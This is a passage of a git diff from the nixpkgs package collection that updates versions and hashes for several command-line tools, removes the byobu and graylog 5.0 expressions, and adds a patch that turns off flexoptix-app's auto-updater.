--git a/pkgs/tools/misc/bat-extras/default.nix b/pkgs/tools/misc/bat-extras/default.nix index 0863ebde2afa4..67fa9dcf4e90d 100644 --- a/pkgs/tools/misc/bat-extras/default.nix +++ b/pkgs/tools/misc/bat-extras/default.nix @@ -28,13 +28,13 @@ let # This includes the complete source so the per-script derivations can run the tests. core = stdenv.mkDerivation rec { pname = "bat-extras"; - version = "2023.06.15"; + version = "2024.02.12"; src = fetchFromGitHub { owner = "eth-p"; - repo = pname; + repo = "bat-extras"; rev = "v${version}"; - sha256 = "sha256-dBrnUIG3EuEgDZBbzrspP5UReiUKjrMSYIe5QtZ0/tU="; + hash = "sha256-EPDGQkwwxYFTJPJtwSkVrpBf27+VlMd/nqEkJupHlyA="; fetchSubmodules = true; }; @@ -94,7 +94,7 @@ let name: # the name of the script dependencies: # the tools we need to prefix onto PATH stdenv.mkDerivation { - pname = "${core.pname}-${name}"; + pname = name; inherit (core) version; src = core; @@ -133,7 +133,9 @@ let # We already patched dontPatchShebangs = true; - inherit (core) meta; + meta = core.meta // { + mainProgram = name; + }; }; optionalDep = cond: dep: assert cond -> dep != null; diff --git a/pkgs/tools/misc/bdf2psf/default.nix b/pkgs/tools/misc/bdf2psf/default.nix index 268b877629d8b..41caab53e2fea 100644 --- a/pkgs/tools/misc/bdf2psf/default.nix +++ b/pkgs/tools/misc/bdf2psf/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "bdf2psf"; - version = "1.223"; + version = "1.226"; src = fetchurl { url = "mirror://debian/pool/main/c/console-setup/bdf2psf_${version}_all.deb"; - sha256 = "sha256-T9tj91mLB3PNRmJs75ohGjvBt1C5wotQr++MCdmyWBI="; + sha256 = "sha256-MLNLeCgBzp2awt9ZJM2kaCWQhRnC6sSwm1fHlv3EwHo="; }; nativeBuildInputs = [ dpkg ]; diff --git a/pkgs/tools/misc/blahaj/default.nix b/pkgs/tools/misc/blahaj/default.nix index c0e591515cdf5..a37d37bf41843 100644 --- a/pkgs/tools/misc/blahaj/default.nix +++ b/pkgs/tools/misc/blahaj/default.nix @@ -1,6 +1,10 @@ { lib +, stdenv , crystal , fetchFromGitHub + # https://crystal-lang.org/2019/09/06/parallelism-in-crystal/ +, multithreading ? true +, static ? stdenv.hostPlatform.isStatic }: crystal.buildCrystalPackage rec { @@ -14,6 +18,8 @@ crystal.buildCrystalPackage rec { hash = "sha256-CmMF9jDKUo+c8dYc2UEHKdBDE4dgwExcRS5sSUsUJik="; }; + buildTargets = [ "${if static then "static" else "build"}${if multithreading then "_mt" else ""}" ]; + meta = with lib; { description = "Gay sharks at your local terminal - lolcat-like CLI tool"; homepage = "https://blahaj.queer.software"; diff --git a/pkgs/tools/misc/broot/default.nix b/pkgs/tools/misc/broot/default.nix index 17090d28ca93e..751860860436f 100644 --- a/pkgs/tools/misc/broot/default.nix +++ b/pkgs/tools/misc/broot/default.nix @@ -18,16 +18,16 @@ rustPlatform.buildRustPackage rec { pname = "broot"; - version = "1.33.1"; + version = "1.35.0"; src = fetchFromGitHub { owner = "Canop"; repo = pname; rev = "v${version}"; - hash = "sha256-k8rBf1kSeumtOHixJR9g90q+u5eIL0584fvTK/Qg/FU="; + hash = "sha256-L9a1fQZkCHSHseZtQYwqIt1CokPGBqLcqY0jccHYqGw="; }; - cargoHash = "sha256-MxWtPc1C+L5ZSPOyXwxzdAWe5WbZiPW+Zfv1P1j73JQ="; + cargoHash = "sha256-DRW1gv5lqdXWcRLD2yf7+u6J/xIUWmELmb/l729Sqo4="; nativeBuildInputs = [ installShellFiles diff --git a/pkgs/tools/misc/byobu/default.nix b/pkgs/tools/misc/byobu/default.nix deleted file mode 100644 index efcf679c19947..0000000000000 --- a/pkgs/tools/misc/byobu/default.nix +++ /dev/null @@ -1,76 +0,0 @@ -{ lib, stdenv, fetchurl, makeWrapper -, python3, perl, textual-window-manager -, gettext, vim, bc, screen }: - -let - pythonEnv = python3.withPackages (ps: with ps; [ snack ]); -in -stdenv.mkDerivation rec { - version = "5.133"; - pname = "byobu"; - - src = fetchurl { - url = "https://launchpad.net/byobu/trunk/${version}/+download/byobu_${version}.orig.tar.gz"; - sha256 = "0qvmmdnvwqbgbhn5c8asmrmjhclcl029py2d2zvmd7h5ij7s93jd"; - }; - - doCheck = true; - - strictdeps = true; - nativeBuildInputs = [ makeWrapper gettext ]; - buildInputs = [ perl ]; # perl is needed for `lib/byobu/include/*` scripts - propagatedBuildInputs = [ textual-window-manager screen ]; - - postPatch = '' - substituteInPlace usr/bin/byobu-export.in \ - --replace "gettext" "${gettext}/bin/gettext" - substituteInPlace usr/lib/byobu/menu \ - --replace "gettext" "${gettext}/bin/gettext" - ''; - - postInstall = '' - # Byobu does not compile its po files for some reason - for po in po/*.po; do - lang=''${po#po/} - lang=''${lang%.po} - # Path where byobu looks for translations as observed in the source code and strace - mkdir -p $out/share/byobu/po/$lang/LC_MESSAGES/ - msgfmt $po -o $out/share/byobu/po/$lang/LC_MESSAGES/byobu.mo - done - - # Override the symlinks otherwise they mess with the wrapping - cp --remove-destination $out/bin/byobu $out/bin/byobu-screen - cp --remove-destination $out/bin/byobu $out/bin/byobu-tmux - - for i in $out/bin/byobu*; do - # We don't use the usual ".$package-wrapped" because arg0 within the shebang scripts - # points to the filename and byobu matches against this to know which backend - # to start with - file=".$(basename $i)" - mv $i $out/bin/$file - makeWrapper "$out/bin/$file" "$out/bin/$(basename $i)" --argv0 $(basename $i) \ - --set BYOBU_PATH ${lib.escapeShellArg (lib.makeBinPath [ vim bc ])} \ - --set BYOBU_PYTHON "${pythonEnv}/bin/python" - done - ''; - - meta = with lib; { - homepage = "https://launchpad.net/byobu/"; - description = "Text-based window manager and terminal multiplexer"; - - longDescription = - ''Byobu is a GPLv3 open source text-based window manager and terminal multiplexer. - It was originally designed to provide elegant enhancements to the otherwise functional, - plain, practical GNU Screen, for the Ubuntu server distribution. - Byobu now includes an enhanced profiles, convenient keybindings, - configuration utilities, and toggle-able system status notifications for both - the GNU Screen window manager and the more modern Tmux terminal multiplexer, - and works on most Linux, BSD, and Mac distributions. - ''; - - license = licenses.gpl3; - - platforms = platforms.unix; - maintainers = with maintainers; [ qknight berbiche ]; - }; -} diff --git a/pkgs/tools/misc/cfonts/default.nix b/pkgs/tools/misc/cfonts/default.nix index 244360c99d8bf..12d9687c59be7 100644 --- a/pkgs/tools/misc/cfonts/default.nix +++ b/pkgs/tools/misc/cfonts/default.nix @@ -1,14 +1,14 @@ { lib, rustPlatform, fetchCrate }: rustPlatform.buildRustPackage rec { pname = "cfonts"; - version = "1.1.2"; + version = "1.1.3"; src = fetchCrate { inherit pname version; - hash = "sha256-bnjrbcQ2MMZsM0rWWk+xkA58rSREHWfSvlGDAHKIPAw="; + hash = "sha256-ixxDlHjx5Bi6Wl/kzJ/R7d+jgTDCAti25TV1RlXRPus="; }; - cargoHash = "sha256-8NgEsFglt+JyP5D61mT4Z8SIbPATJskiEpn8tWy+yjk="; + cargoHash = "sha256-NltvO5ACf8TsE9CgC1jAXx04/T/kHSZLxXJ4zhA5DGo="; meta = with lib; { homepage = "https://github.com/dominikwilkowski/cfonts"; diff --git a/pkgs/tools/misc/chezmoi/default.nix b/pkgs/tools/misc/chezmoi/default.nix index 52bbd78bef630..24f94f6a7445e 100644 --- a/pkgs/tools/misc/chezmoi/default.nix +++ b/pkgs/tools/misc/chezmoi/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "chezmoi"; - version = "2.46.0"; + version = "2.47.1"; src = fetchFromGitHub { owner = "twpayne"; repo = "chezmoi"; rev = "v${version}"; - hash = "sha256-A296BsUyZFgVUsoplkBJ1Xrr21VRjcRSqjk2JU44ilg="; + hash = "sha256-sCDRHbizWhxaGBKdBhLViOfv+mwJiVvw7cjXSuDnOAo="; }; - vendorHash = "sha256-EGc4l02by6K0j0RZZ7YuGkpJ8UaZ4cYcxBd+ECHdwq4="; + vendorHash = "sha256-gTgzuNsNzw8RmYaeOTBxkOc0Pt+WGLWTA6/oAL/1RRg="; doCheck = false; diff --git a/pkgs/tools/misc/cloc/default.nix b/pkgs/tools/misc/cloc/default.nix index fdd932634c5e2..14c7b2133c710 100644 --- a/pkgs/tools/misc/cloc/default.nix +++ b/pkgs/tools/misc/cloc/default.nix @@ -1,6 +1,6 @@ { lib, stdenv, fetchFromGitHub, makeWrapper, perlPackages }: -let version = "1.98"; +let version = "2.00"; in stdenv.mkDerivation { pname = "cloc"; inherit version; @@ -9,7 +9,7 @@ in stdenv.mkDerivation { owner = "AlDanial"; repo = "cloc"; rev = "v${version}"; - sha256 = "sha256-OTzIzLgE9sdbHZUSARSbVrxD95dW8gPiM8tvMvqm1Bg="; + sha256 = "sha256-GZvrsVuPLg09yOlDmdHNZ0QLXoftgSYMFkn6PLf1/Pw="; }; setSourceRoot = '' diff --git a/pkgs/tools/misc/code-minimap/default.nix b/pkgs/tools/misc/code-minimap/default.nix index 33e6ee825b0b5..34d8547ebd327 100644 --- a/pkgs/tools/misc/code-minimap/default.nix +++ b/pkgs/tools/misc/code-minimap/default.nix @@ -7,16 +7,16 @@ rustPlatform.buildRustPackage rec { pname = "code-minimap"; - version = "0.6.4"; + version = "0.6.7"; src = fetchFromGitHub { owner = "wfxr"; repo = pname; rev = "v${version}"; - sha256 = "sha256-XhewfU3l/n2wiF9pKm1OOKQ7REzz3WzcBiVgOiYnAYU="; + sha256 = "sha256-d9qcSSiRv1I7NYuLrra5ShIUXT2HVeHGD0WPb+dnQCc="; }; - cargoSha256 = "sha256-Z3bc0w8slI9lHbDbrIK65xurtmTK4Y4caF7kxxJBA3Q="; + cargoHash = "sha256-5/UgEzkJw9XDgtS1jKyWh5ijTp3L+UQLuE5CXcyIgTs="; buildInputs = lib.optional stdenv.isDarwin libiconv; diff --git a/pkgs/tools/misc/colord/default.nix b/pkgs/tools/misc/colord/default.nix index 989f7d57e0b89..2a4c2c0016689 100644 --- a/pkgs/tools/misc/colord/default.nix +++ b/pkgs/tools/misc/colord/default.nix @@ -32,13 +32,13 @@ stdenv.mkDerivation rec { pname = "colord"; - version = "1.4.7"; + version = "1.4.6"; outputs = [ "out" "dev" "devdoc" "man" "installedTests" ]; src = fetchurl { url = "https://www.freedesktop.org/software/colord/releases/${pname}-${version}.tar.xz"; - hash = "sha256-3gLZkQY0rhWVR1hc7EFORQ9xHCcjVFO0+bOKnyNhplM="; + sha256 = "dAdjGie/5dG2cueuQndwAcEF2GC3tzkig8jGMA3ojm8="; }; patches = [ diff --git a/pkgs/tools/misc/cowsay/default.nix b/pkgs/tools/misc/cowsay/default.nix index 62ae9994fff8a..874299905e079 100644 --- a/pkgs/tools/misc/cowsay/default.nix +++ b/pkgs/tools/misc/cowsay/default.nix @@ -1,6 +1,6 @@ -{ lib, stdenv, perl, fetchFromGitHub, fetchpatch, makeWrapper, nix-update-script, testers, cowsay }: +{ lib, stdenv, perl, fetchFromGitHub, fetchpatch, makeWrapper, nix-update-script, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "cowsay"; version = "3.7.0"; @@ -9,7 +9,7 @@ stdenv.mkDerivation rec { src = fetchFromGitHub { owner = "cowsay-org"; repo = "cowsay"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-t1grmCPQhRgwS64RjEwkK61F2qxxMBKuv0/DzBTnL3s="; }; @@ -37,7 +37,7 @@ stdenv.mkDerivation rec { passthru = { updateScript = nix-update-script { }; tests.version = testers.testVersion { - package = cowsay; + package = finalAttrs.finalPackage; command = "cowsay --version"; }; }; @@ -45,9 +45,9 @@ stdenv.mkDerivation rec { meta = with lib; { description = "A program which generates ASCII pictures of a cow with a message"; homepage = "https://cowsay.diamonds"; - changelog = "https://github.com/cowsay-org/cowsay/releases/tag/v${version}"; + changelog = "https://github.com/cowsay-org/cowsay/releases/tag/v${finalAttrs.version}"; license = licenses.gpl3Only; platforms = platforms.all; maintainers = with maintainers; [ rob anthonyroussel ]; }; -} +}) diff --git a/pkgs/tools/misc/cyberchef/default.nix b/pkgs/tools/misc/cyberchef/default.nix index caa1f693f3683..588df6403bb28 100644 --- a/pkgs/tools/misc/cyberchef/default.nix +++ b/pkgs/tools/misc/cyberchef/default.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation rec { pname = "cyberchef"; - version = "10.7.0"; + version = "10.8.2"; src = fetchzip { url = "https://github.com/gchq/CyberChef/releases/download/v${version}/CyberChef_v${version}.zip"; - sha256 = "sha256-/miIdPP00vIh3Em8BFDoxkYFpgU4Vty4V5RiCgqOKPo="; + sha256 = "sha256-CD09gve4QEkCBKZoNtTdSPOfGSogGoGwWMYWGzMHowg="; stripRoot = false; }; diff --git a/pkgs/tools/misc/ddcutil/default.nix b/pkgs/tools/misc/ddcutil/default.nix index c8e009569cd5c..28a31a16d078a 100644 --- a/pkgs/tools/misc/ddcutil/default.nix +++ b/pkgs/tools/misc/ddcutil/default.nix @@ -14,11 +14,11 @@ stdenv.mkDerivation rec { pname = "ddcutil"; - version = "2.1.3"; + version = "2.1.4"; src = fetchurl { url = "https://www.ddcutil.com/tarballs/ddcutil-${version}.tar.gz"; - hash = "sha256-l6C9cJ0MfffzULuH9DIoNzGKqp7o4cwpbDrbC93yc/g="; + hash = "sha256-4U/igqtgw2rwyuhEkV1pWYPIyNZEt2N6hlXJ9bDUyRw="; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/tools/misc/diffoscope/default.nix b/pkgs/tools/misc/diffoscope/default.nix index 625f86c1da472..5bac5602c79f9 100644 --- a/pkgs/tools/misc/diffoscope/default.nix +++ b/pkgs/tools/misc/diffoscope/default.nix @@ -79,11 +79,11 @@ # Note: when upgrading this package, please run the list-missing-tools.sh script as described below! python3.pkgs.buildPythonApplication rec { pname = "diffoscope"; - version = "257"; + version = "259"; src = fetchurl { url = "https://diffoscope.org/archive/diffoscope-${version}.tar.bz2"; - hash = "sha256-Fejp4i0uzsK9+9JBVPsE1AdDwshtRlxpxPfJdqRQQH4="; + hash = "sha256-WYgFWM6HKFt3xVcRNytQPWOf3ZpH1cG7Cghhu/AES80="; }; outputs = [ diff --git a/pkgs/tools/misc/direnv/default.nix b/pkgs/tools/misc/direnv/default.nix index 9395cade650b1..4bb9d9bacaff2 100644 --- a/pkgs/tools/misc/direnv/default.nix +++ b/pkgs/tools/misc/direnv/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "direnv"; - version = "2.33.0"; + version = "2.34.0"; src = fetchFromGitHub { owner = "direnv"; repo = "direnv"; rev = "v${version}"; - sha256 = "sha256-/xOqJ3dr+3S502rXHVBcHhgBCctoMYnWpfLqgrxIoN8="; + sha256 = "sha256-EvzqLS/FiWrbIXDkp0L/T8QNKnRGuQkbMWajI3X3BDw="; }; - vendorHash = "sha256-QGPcNgA/iiGt0CdFs2kR3zLL5/SWulSyyf/pW212JpU="; + vendorHash = "sha256-FfKvLPv+jUT5s2qQ7QlzBMArI+acj7nhpE8FGMPpp5E="; # we have no bash at the moment for windows BASH_PATH = diff --git a/pkgs/tools/misc/diskscan/default.nix b/pkgs/tools/misc/diskscan/default.nix index 141822d22ddbb..7471089f45f9e 100644 --- a/pkgs/tools/misc/diskscan/default.nix +++ b/pkgs/tools/misc/diskscan/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "diskscan"; - version = "0.20"; + version = "0.21"; src = fetchFromGitHub { owner = "baruch"; repo = "diskscan"; rev = version; - sha256 = "1s2df082yrnr3gqnapdsqz0yd0ld75bin37g0rms83ymzkh4ysgv"; + sha256 = "sha256-2y1ncPg9OKxqImBN5O5kXrTsuwZ/Cg/8exS7lWyZY1c="; }; buildInputs = [ ncurses zlib ]; diff --git a/pkgs/tools/misc/dvtm/unstable.nix b/pkgs/tools/misc/dvtm/unstable.nix index 65e62be074972..4008407f28fa5 100644 --- a/pkgs/tools/misc/dvtm/unstable.nix +++ b/pkgs/tools/misc/dvtm/unstable.nix @@ -1,13 +1,18 @@ -{callPackage, fetchFromGitHub, fetchpatch}: +{ callPackage, fetchpatch, fetchzip }: + +let + rev = "7bcf43f8dbd5c4a67ec573a1248114caa75fa3c2"; +in callPackage ./dvtm.nix { pname = "dvtm-unstable"; - version = "2018-03-31"; + version = "unstable-2021-03-09"; - src = fetchFromGitHub { - owner = "martanne"; - repo = "dvtm"; - rev = "311a8c0c28296f8f87fb63349e0f3254c7481e14"; - sha256 = "0pyxjkaxh8n97kccnmd3p98vi9h8mcfy5lswzqiplsxmxxmlbpx2"; + src = fetchzip { + urls = [ + "https://github.com/martanne/dvtm/archive/${rev}.tar.gz" + "https://git.sr.ht/~martanne/dvtm/archive/${rev}.tar.gz" + ]; + hash = "sha256-UtkNsW0mvLfbPSAIIZ1yvX9xzIDtiBeXCjhN2R8JhDc="; }; patches = [ @@ -18,13 +23,5 @@ callPackage ./dvtm.nix { url = "https://github.com/martanne/dvtm/commit/1f1ed664d64603f3f1ce1388571227dc723901b2.patch"; sha256 = "14j3kks7b1v6qq12442v1da3h7khp02rp0vi0qrz0rfgkg1zilpb"; }) - - # https://github.com/martanne/dvtm/pull/86 - # Fix buffer corruption when title is updated - (fetchpatch { - name = "fix-buffer-corruption-on-title-update"; - url = "https://github.com/martanne/dvtm/commit/be6c3f8f615daeab214d484e6fff22e19631a0d1.patch"; - sha256 = "1wdrl3sg815lhs22fwbc4w5dn4ifpdgl7v1kqfnhg752av4im7h7"; - }) ]; } diff --git a/pkgs/tools/misc/esphome/default.nix b/pkgs/tools/misc/esphome/default.nix index f3073c051be93..ec8b1beeb15c4 100644 --- a/pkgs/tools/misc/esphome/default.nix +++ b/pkgs/tools/misc/esphome/default.nix @@ -19,26 +19,26 @@ let in python.pkgs.buildPythonApplication rec { pname = "esphome"; - version = "2023.12.9"; + version = "2024.2.2"; pyproject = true; src = fetchFromGitHub { owner = pname; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-8SHf6cbPYPZctjJgIuEb7eOJVi5hWNONyRnMXK0iBXc="; + hash = "sha256-SIp4hrllPgWNnrflUStSIcUB00eGU5pHoYveBPg7CVw="; }; nativeBuildInputs = with python.pkgs; [ setuptools argcomplete installShellFiles + pythonRelaxDepsHook ]; - postPatch = '' - # remove all version pinning (E.g tornado==5.1.1 -> tornado) - sed -i -e "s/==[0-9.]*//" requirements.txt + pythonRelaxDeps = true; + postPatch = '' # drop coverage testing sed -i '/--cov/d' pytest.ini ''; @@ -59,7 +59,9 @@ python.pkgs.buildPythonApplication rec { colorama cryptography esphome-dashboard + icmplib kconfiglib + packaging paho-mqtt pillow platformio diff --git a/pkgs/tools/misc/faketty/default.nix b/pkgs/tools/misc/faketty/default.nix index 815eb5a631c9e..228cdf7f2f2fd 100644 --- a/pkgs/tools/misc/faketty/default.nix +++ b/pkgs/tools/misc/faketty/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "faketty"; - version = "1.0.14"; + version = "1.0.16"; src = fetchCrate { inherit pname version; - hash = "sha256-oma8Vmp1AMmEGyZG8i/ztiyYH0RrLZ/l/vXgPJs+5o0="; + hash = "sha256-BlQnVjYPFUfEurFUE2MHOL2ad56Nu/atzRuFu4OoCSI="; }; - cargoHash = "sha256-+gojthIR5WMSjN1gCUyN0cKHWYBKBezsckVZJD7JncM="; + cargoHash = "sha256-q9jx03XYA977481B9xuUfaaMBDbSVx4xREj4Q1Ti/Yw="; postPatch = '' patchShebangs tests/test.sh diff --git a/pkgs/tools/misc/fastfetch/default.nix b/pkgs/tools/misc/fastfetch/default.nix index 91d9844fd1f64..2e727896905dd 100644 --- a/pkgs/tools/misc/fastfetch/default.nix +++ b/pkgs/tools/misc/fastfetch/default.nix @@ -43,13 +43,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "fastfetch"; - version = "2.8.3"; + version = "2.8.7"; src = fetchFromGitHub { owner = "fastfetch-cli"; repo = "fastfetch"; rev = finalAttrs.version; - hash = "sha256-W6SmKyTBR0cXAkgcbbM1lEiHFanqCaa2lhAb+zQP/mg="; + hash = "sha256-lJRTw8Z//x6tMpwfwSodTz7aVbnJPt3rac7AudqF+DA="; }; outputs = [ "out" "man" ]; @@ -131,11 +131,6 @@ stdenv.mkDerivation (finalAttrs: { (lib.cmakeBool "ENABLE_XRANDR" x11Support) ]; - env.NIX_CFLAGS_COMPILE = toString [ - # Needed with GCC 12 - "-Wno-error=uninitialized" - ]; - postInstall = '' wrapProgram $out/bin/fastfetch \ --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}" diff --git a/pkgs/tools/misc/fend/default.nix b/pkgs/tools/misc/fend/default.nix index a3e46fa4f18d9..7e65fe68dfd5f 100644 --- a/pkgs/tools/misc/fend/default.nix +++ b/pkgs/tools/misc/fend/default.nix @@ -16,16 +16,16 @@ rustPlatform.buildRustPackage rec { pname = "fend"; - version = "1.4.0"; + version = "1.4.3"; src = fetchFromGitHub { owner = "printfn"; - repo = pname; + repo = "fend"; rev = "v${version}"; - sha256 = "sha256-s6b15FhVfEwsHtVt4bhd6LDxl/WW1PXlUrH2XFOTT5E="; + hash = "sha256-X96r5wN5eq1PZD/JGqnG/0kg6PYEdnj5h9zc+GXQjQM="; }; - cargoHash = "sha256-Ilsv0mo7/4eEdRH3jWZXdF4LSYYdWr6gCvnMMAZn5j0="; + cargoHash = "sha256-UIZs45OQ1j57VEb6g4P0AwjmEsjMt0am5FUXXDODaWI="; nativeBuildInputs = [ pandoc installShellFiles copyDesktopItems ]; buildInputs = lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.Security ]; @@ -46,7 +46,7 @@ rustPlatform.buildRustPackage rec { ''; postInstall = '' - install -D -m 444 $src/icon/fend-icon-256.png $out/share/icons/hicolor/256x256/apps/fend.png + install -D -m 444 $src/icon/icon.svg $out/share/icons/hicolor/scalable/apps/fend.svg ''; desktopItems = [ diff --git a/pkgs/tools/misc/flexoptix-app/default.nix b/pkgs/tools/misc/flexoptix-app/default.nix index 1e9b16a848558..6712925d01206 100644 --- a/pkgs/tools/misc/flexoptix-app/default.nix +++ b/pkgs/tools/misc/flexoptix-app/default.nix @@ -1,11 +1,11 @@ { lib, appimageTools, fetchurl, asar }: let pname = "flexoptix-app"; - version = "5.16.0-latest"; + version = "5.20.0-latest"; src = fetchurl { name = "${pname}-${version}.AppImage"; url = "https://flexbox.reconfigure.me/download/electron/linux/x64/FLEXOPTIX%20App.${version}.AppImage"; - hash = "sha256-A10r8IUB3zWKWmjen90vLXPF7V/Cgo+DhFn/Hsc1Nhg="; + hash = "sha256-/4vZaVLpSiufjNwwofPi+YBtTJ4aq7eYgFnYFv89LFY="; }; udevRules = fetchurl { @@ -19,7 +19,7 @@ # Get rid of the autoupdater ${asar}/bin/asar extract $out/resources/app.asar app - sed -i 's/async isUpdateAvailable.*/async isUpdateAvailable(updateInfo) { return false;/g' app/node_modules/electron-updater/out/AppUpdater.js + patch -p0 < ${./disable-autoupdate.patch} ${asar}/bin/asar pack app $out/resources/app.asar ''; }); diff --git a/pkgs/tools/misc/flexoptix-app/disable-autoupdate.patch b/pkgs/tools/misc/flexoptix-app/disable-autoupdate.patch new file mode 100644 index 0000000000000..d71133951e726 --- /dev/null +++ b/pkgs/tools/misc/flexoptix-app/disable-autoupdate.patch @@ -0,0 +1,16 @@ +--- app/electron/jsComponents/mainWindowEvents.js 2024-02-18 12:53:41.115773007 -0500 ++++ app/electron/jsComponents/mainWindowEvents.js2 2024-02-18 23:22:20.003280203 -0500 +@@ -128,7 +128,12 @@ + + if (app.isPackaged) { + global.mainWindow.webContents.once("did-finish-load", function () { +- autoUpdater.checkForUpdates(); ++ global.mainWindow.loadURL( ++ url.format({ ++ ...global.APPLICATION_URL_OBJECT, ++ slashes: true, ++ }), ++ ); + }); + } else { + global.mainWindow.webContents.openDevTools(); diff --git a/pkgs/tools/misc/gh-dash/default.nix b/pkgs/tools/misc/gh-dash/default.nix index 487f219f6ecc5..82201e0bd53dd 100644 --- a/pkgs/tools/misc/gh-dash/default.nix +++ b/pkgs/tools/misc/gh-dash/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "gh-dash"; - version = "3.13.0"; + version = "3.14.0"; src = fetchFromGitHub { owner = "dlvhdr"; repo = "gh-dash"; rev = "v${version}"; - hash = "sha256-JbKDzRpOaiieTPs8rbFUApcPvkYEF0Gq8AHboALCEcA="; + hash = "sha256-6YPUGOQ2KBfu+3XAgub9Cpz0QBrU2kV+gq13tUtzY+w="; }; - vendorHash = "sha256-+H94d7OBYQ8vh302xyj3LeCuU78OBv7l0nxC9Cg07uk="; + vendorHash = "sha256-jCf9FWAhZK5hTzyy8N4r5dfUYTgESmsn8iKxCccgWiM="; ldflags = [ "-s" diff --git a/pkgs/tools/misc/goaccess/default.nix b/pkgs/tools/misc/goaccess/default.nix index ac13cb69370ad..774cc18ad8011 100644 --- a/pkgs/tools/misc/goaccess/default.nix +++ b/pkgs/tools/misc/goaccess/default.nix @@ -10,14 +10,14 @@ }: stdenv.mkDerivation rec { - version = "1.8.1"; + version = "1.9.1"; pname = "goaccess"; src = fetchFromGitHub { owner = "allinurl"; repo = pname; rev = "v${version}"; - sha256 = "sha256-GTW7ECSHjFBw8O2NewvMgC+3aheusupDlSBTxZriHHc="; + sha256 = "sha256-vfsMyUnhwsI/tY7d/UpDCyG6DmYzWn9qTi2C0icTPpg="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/misc/google-cloud-sql-proxy/default.nix b/pkgs/tools/misc/google-cloud-sql-proxy/default.nix index 01a1db8fdb777..1043b49820186 100644 --- a/pkgs/tools/misc/google-cloud-sql-proxy/default.nix +++ b/pkgs/tools/misc/google-cloud-sql-proxy/default.nix @@ -1,22 +1,22 @@ { lib -, buildGoModule +, buildGo122Module , fetchFromGitHub }: -buildGoModule rec { +buildGo122Module rec { pname = "google-cloud-sql-proxy"; - version = "2.8.2"; + version = "2.9.0"; src = fetchFromGitHub { owner = "GoogleCloudPlatform"; repo = "cloud-sql-proxy"; rev = "v${version}"; - hash = "sha256-ZCUBr7K7mGpV/oCS4X6cteUGRjMjqAAA3saPfZ6Vowk="; + hash = "sha256-V1Q6DFWSIIff2FuOyE5XwtJN8RObGlhpW/nMWFmNoxI="; }; subPackages = [ "." ]; - vendorHash = "sha256-ScGfP5HdXkMlU2PQmlQxuRC7a+iadf3dOKpFFi2EaAY="; + vendorHash = "sha256-sAVMmDeHXEgQXb/Xi4nXYztXjuykE0TFebkeubMTZ3k="; preCheck = '' buildFlagsArray+="-short" diff --git a/pkgs/tools/misc/gotify-desktop/default.nix b/pkgs/tools/misc/gotify-desktop/default.nix index 409179461ef03..90b1bec1f5a29 100644 --- a/pkgs/tools/misc/gotify-desktop/default.nix +++ b/pkgs/tools/misc/gotify-desktop/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "gotify-desktop"; - version = "1.3.4"; + version = "1.3.6"; src = fetchFromGitHub { owner = "desbma"; repo = pname; rev = version; - sha256 = "sha256-TuqzwmKB48xcdzrAr7MvDA9JChobraESQZPKoy24mPE="; + sha256 = "sha256-epolESdf9+2lI+AJ8hMpVPakS1f8fYam+JniiPLIHCs="; }; - cargoHash = "sha256-vg3al+eH9Q4D/T56jwWBlBT4IhuggiEVBl8WoZmUS2Y="; + cargoHash = "sha256-VJ/k6sfBCuokXGpfZ9zGQ7ucbHLweUSgBhlChwko69g="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/tools/misc/gparted/default.nix b/pkgs/tools/misc/gparted/default.nix index 1c16795d40bdd..7c068656385df 100644 --- a/pkgs/tools/misc/gparted/default.nix +++ b/pkgs/tools/misc/gparted/default.nix @@ -6,11 +6,11 @@ stdenv.mkDerivation rec { pname = "gparted"; - version = "1.5.0"; + version = "1.6.0"; src = fetchurl { url = "mirror://sourceforge/gparted/${pname}-${version}.tar.gz"; - sha256 = "sha256-PJXqJqlECD/x2bF2ObHirZdY3yJdx1H/QHsqaqCSqN4="; + sha256 = "sha256-m59Rs85JTdy1mlXhrmZ5wJQ2YE4zHb9aU21g3tbG6ls="; }; # Tries to run `pkexec --version` to get version. diff --git a/pkgs/tools/misc/graylog/5.0.nix b/pkgs/tools/misc/graylog/5.0.nix deleted file mode 100644 index 40b296010cd46..0000000000000 --- a/pkgs/tools/misc/graylog/5.0.nix +++ /dev/null @@ -1,9 +0,0 @@ -{ callPackage, lib, ...}: -let - buildGraylog = callPackage ./graylog.nix {}; -in buildGraylog { - version = "5.0.8"; - sha256 = "sha256-TGJm2PGoXaLhlzyfSWKScEJxEGObTVttpEEaczsXHiA="; - maintainers = [ lib.maintainers.f2k1de ]; - license = lib.licenses.sspl; -} diff --git a/pkgs/tools/misc/grex/default.nix b/pkgs/tools/misc/grex/default.nix index 2a6ca6031e3be..d68deba131ffc 100644 --- a/pkgs/tools/misc/grex/default.nix +++ b/pkgs/tools/misc/grex/default.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "grex"; - version = "1.4.4"; + version = "1.4.5"; src = fetchFromGitHub { owner = "pemistahl"; repo = "grex"; rev = "v${version}"; - hash = "sha256-ef1eUxeCznIgXLoywwJmnLkTGdW1AmGwCin9DLU9kAs="; + hash = "sha256-Ut2H2H66XN1+wHpYivnuhil21lbd7bwIcIcMyIimdis="; }; - cargoHash = "sha256-XLH+fS3fwRcWmVOzTjUacV010N37Oofs9Tbixdka1qY="; + cargoHash = "sha256-ZRE1vKgi0/UtSe2bdN0BLdtDfAauTfwcqOcl3y63fAA="; buildInputs = lib.optionals stdenv.isDarwin [ Security ]; diff --git a/pkgs/tools/misc/grizzly/default.nix 